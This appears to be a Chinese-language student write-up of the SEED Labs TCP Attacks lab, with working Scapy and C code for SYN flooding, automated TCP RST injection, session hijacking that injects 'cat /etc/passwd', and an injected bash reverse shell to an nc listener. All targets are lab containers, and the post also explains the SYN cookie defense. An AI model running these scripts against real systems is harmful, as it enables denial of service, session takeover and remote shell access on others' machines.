SeedLab2.0 TCP Attacks

Posted by 慕念 on May 26, 2022

image-20220526133546461

Task 1: SYN Flooding Attack

首先通过命令sysctl net.ipv4.tcp_max_syn_backlog查看系统中设定好的SYN队列的长度是128。(内核参数net.ipv4.tcp_max_syn_backlog定义了处于SYN_RECV的TCP最大连接数,当处于SYN_RECV状态的TCP连接数超过tcp_max_syn_backlog后,会丢弃后续的SYN报文。)

image-20220510193519544

sysctl -a | grep syncookies命令查看SYN Cookie对策是否打开,显示net.ipv4.tcp_syncookies = 1说明打开了SYN Cookie

image-20220510194519658

通过命令sysctl -w net.ipv4.tcp_syncookies=0关闭syn cookie:

image-20220510195135263

Task 1.1: Launching the Attack Using Python

查看容器的IDdockps,可以看到victim的容器ID是8b3cbd69654b:

image-20220510200018260

通过docksh 8b进入victim主机,在攻击前先通过netstat -nat查看目前网络状态,可以看到只有两个端口处于LISTEN状态:

image-20220510201306679

在python代码中补全victim的ip地址和端口号:

#!/bin/env python3

from scapy.all import IP, TCP, send
from ipaddress import IPv4Address
from random import getrandbits
ip = IP(dst="10.9.0.5") # victim ip

tcp = TCP(dport=23, flags='S')
pkt = ip/tcp

while True:
    pkt[IP].src = str(IPv4Address(getrandbits(32))) # source iP
    
    pkt[TCP].sport = getrandbits(16) # source port
    
    pkt[TCP].seq = getrandbits(32) # sequence number
    
    send(pkt, verbose = 0)

运行代码,攻击至少持续1min:

image-20220510200631649

再次通过netstat -nat查看目前网络状态,可以看到产生了大量半连接,状态显示为SYN_RECV

image-20220510201919229

通过命令netstat -tna | grep SYN_RECV | wc -l可以看到共有97个半连接(因为队列中1/4的空间是为已验证的目的地保留的,所以现在97个半连接已经占满了剩余3/4的队列空间):

image-20220510202316896

telnet采用的端口号是23,即攻击代码中的源端口号,尝试telnet 10.9.0.5连接victim,发现仍然可以连接上:

image-20220510202855797

这时再查看网络状态,可以发现一个已建立的连接:

image-20220510203302414

这说明在攻击之前,机器10.9.0.1已经向victim机器建立了一个telnet或TCP连接,那么该机器就对SYN FLOOD攻击“免疫”,在攻击期间仍然能够成功地连接到受害者机器。因为SYNCookie被禁用后,victim机器会保留1/4的队列记住过去成功的连接,便于之后这些连接被再次建立。SYN FLOOD只能挤掉剩下的3/4的空间。

image-20220510203859543

比如,当机器10.9.0.1和服务器10.9.0.5进行TCP连接后,服务器记住了IP地址10.9.0.1(缓存),因此再次遇到来自10.9.0.1的连接时,将使用保留的1/4 slot,因此不会受到SYN洪水攻击的影响。

可以通过指令ip tcp_metrics flush刷掉已保留的连接。并且通过sysctl -w net.ipv4.tcp_max_syn_backlog=80调小队列大小。

image-20220510204735610

再次尝试telnet连接victim机器,这次没有办法连上,会显示Connection timed out

image-20220510205235633

Task 1.2: Launch the Attack Using C

把队列大小恢复成128,并刷新保留连接:

sysctl -w net.ipv4.tcp_max_syn_backlog=128
ip tcp_metrics flush

image-20220510205750656

编译提供的synflood.c代码:

gcc -o synflood synflood.c

docksh 65进入攻击容器中,进入共享文件夹volumes运行synflood,攻击目标机器10.9.0.5的23端口:

image-20220510210543306

攻击成功:

image-20220510210218739

Please compare the results with the one using the Python program, and explain the reason behind the difference.

与python程序的差别在于:C程序运行比较快,使得发送SYN包的速度足够快,快速占满了SYN队列。

启用victim主机的SYN cookie机制:

image-20220510211048909

通过task1.2的方法再次攻击:

image-20220510211216432

这次telnet成功连接,说明攻击失败。

SYN cookie机制的作用:

  • 接收到客户端的SYN包时,不会立刻为连接分配资源,而是根据SYN包计算一个cookie值作为SYN ACK包的初始序列号,并签名
  • 若客户端正常返回ACK包,则验证签名,根据ACK包中的源/目的IP等信息生成签名,与其确认序列号对比,验证服务器是否签过名,若验证通过则分配资源并建立连接;若验证不通过或没有收到第三个ACK包,则不会为非正常的连接分配资源

这一机制保证了在遭受SYN洪泛攻击时,受害者主机的半开连接队列的资源不会被耗尽,从而能接受观察者主机的正常连接。

Task 2: TCP RST Attacks on telnet Connections

实现TCP RST攻击,终止两个victim之间已建立的TCP连接。

首先在10.9.0.6和10.9.0.7两台主机中建立telnet连接。

image-20220511193807587

Launching the attack manually

使用wireshark进行抓包,选择网卡:

image-20220511212212718

可以从包中看到源&目的IP,源&目的端口号和序列号:

image-20220511195705616

补充py代码:

#!/usr/bin/env python3

from scapy.all import *
# 补充源&目的IP

ip = IP(src="10.9.0.6", dst="10.9.0.7")	
# 补充源&目的端口号和序列号,可以从抓包的数据中看到Next sequence number: 3119783587

tcp = TCP(sport=45832, dport=23, flags="R", seq=3119783587)	
pkt = ip/tcp
ls(pkt)
send(pkt, verbose=0)

进入攻击者主机,运行程序,可以看到程序把报文具体内容打印出来了,flag为4,说明RESET位置为1:

image-20220511200106568

也可以在wireshark中抓到自己发的包:

image-20220511200445566

再回到主机10.9.0.6,可以看到显示连接断开了:

image-20220511200515174

Launching the attack automatically

scapy中的sniff函数可以抓包:

dpkt  = sniff(iface = "br-fb6120b59b51", count = 150, filter="tcp",timeout=5)

sniff有很多参数,这次用到了其中4个:

  • iface:指定抓包的网卡
  • count:指定最多嗅探多少个符合要求的报文
  • filter:用来筛选抓取的信息,这里只抓TCP数据包
  • timeout:5m后自动停止嗅探

当停止嗅探后,dpkt中的最后一项即最后一个10.9.0.6向10.9.0.7发送的数据包。通过dpkt[x][IP].src这样的格式可以解析IP层和TCP层中所需要的各字段:

image-20220511215811964

完整代码:

#!/usr/bin/env python3

from socket import timeout
from scapy.all import *

dpkt  = sniff(iface = "br-fb6120b59b51", count = 150, filter="tcp",timeout=5)
# wrpcap("demo.pcap", dpkt)


n=len(dpkt)-1   # start from dpkt[0]


srcIP=dpkt[n][IP].src
dstIP=dpkt[n][IP].dst
ip = IP(src=srcIP, dst=dstIP)

sportTCP=dpkt[n][TCP].sport
dportTCP=dpkt[n][TCP].dport
seqTCP=dpkt[n][TCP].seq
tcp = TCP(sport=sportTCP, dport=dportTCP, flags="R", seq=seqTCP)

pkt = ip/tcp
ls(pkt)
send(pkt, verbose=0)

在attacker机器上运行代码,攻击成功:

image-20220511215922424

Task 3: TCP Session Hijacking

通过向TCP会话中注入恶意内容来劫持两个受害者之间的现有TCP连接,实现TCP会话劫持攻击。

同样首先在10.9.0.6和10.9.0.7两台主机中建立telnet连接。同样通过抓包获得源&目的IP,源&目的端口号和序列号:

image-20220511203842289

根据抓包中获得数据补充相应内容。

seq仍然是wireshark中会显示的next sequence number。

ack的推断如图:

未命名文件

先尝试发送字符串:

#!/usr/bin/env python3

from scapy.all import *
ip = IP(src="10.9.0.6", dst="10.9.0.7")
tcp = TCP(sport=46010, dport=23, flags="A", seq=3129060118, ack=2667700963)
data = "Task3 TCP Session Hijacking"	# 构造data段

pkt = ip/tcp/data
ls(pkt)
send(pkt, verbose=0)

在attacker主机上运行程序,可以在load字段看到data payload:

image-20220511204031749

同样可以在wireshark中抓到自己的包:

image-20220511204126269

再尝试在data中构造命令cat /etc/password

#!/usr/bin/env python3

from scapy.all import *
ip = IP(src="10.9.0.6", dst="10.9.0.7")
tcp = TCP(sport=46044, dport=23, flags="A", seq=1898635557, ack=3050792738)
data = "cat /etc/passwd\r"
pkt = ip/tcp/data
ls(pkt)
send(pkt, verbose=0)

在wireshark中抓到自己的包,成功发送数据cat /etc/password:

image-20220511205323156

可以在之后10.9.0.7发回的包中找到返回的/etc/passwd中的内容:

image-20220511205413882

Launching the attack automatically

同理task2:

#!/usr/bin/env python3

from socket import timeout
from scapy.all import *

dpkt = sniff(iface="br-fb6120b59b51", count=150, filter="tcp", timeout=8)
# wrpcap("demo.pcap", dpkt)


n = len(dpkt)-1   # start from dpkt[0]


srcIP = dpkt[n][IP].src
dstIP = dpkt[n][IP].dst
ip = IP(src=srcIP, dst=dstIP)

sportTCP = dpkt[n][TCP].sport
dportTCP = dpkt[n][TCP].dport
seqTCP = dpkt[n][TCP].seq
ackTCP = dpkt[n][TCP].ack
tcp = TCP(sport=sportTCP, dport=dportTCP, flags="A", seq=seqTCP, ack=ackTCP)

data = "cat /etc/passwd\r"

pkt = ip/tcp/data
ls(pkt)
send(pkt, verbose=0)

同样可以在wireshark中看到回复的内容:

image-20220511222506270

Task 4: Creating Reverse Shell using TCP Session Hijacking

攻击者利用TCP Session Hijacking来设置后门,这样他们就可以使用这个后门来方便地进行进一步的破坏。

attacker主机10.9.0.1运行netcat监听端口9090:

nc -lv 9090

image-20220511210446123

要使Reverse Shell运行在victim主机10.9.0.5上。可以利用task3中的hijacking方法,首先利用主机10.9.0.6 telnet 10.9.0.5,然后构造包使得victim运行Reverse Shell。

10.9.0.6 telnet 10.9.0.5:

image-20220511210815553

wireshark抓包:

image-20220511210749618

构造代码,data为reverse shell: /bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1

#!/usr/bin/env python3

from scapy.all import *
ip = IP(src="10.9.0.6", dst="10.9.0.5")
tcp = TCP(sport=43006, dport=23, flags="A", seq=2591063038, ack=4106536643)
data = " /bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1\r"
pkt = ip/tcp/data
ls(pkt)
send(pkt, verbose=0)

运行代码:

image-20220511211411653

image-20220511211639158

攻击成功,成功执行reverse shell,获得victim的权限:

image-20220511211738698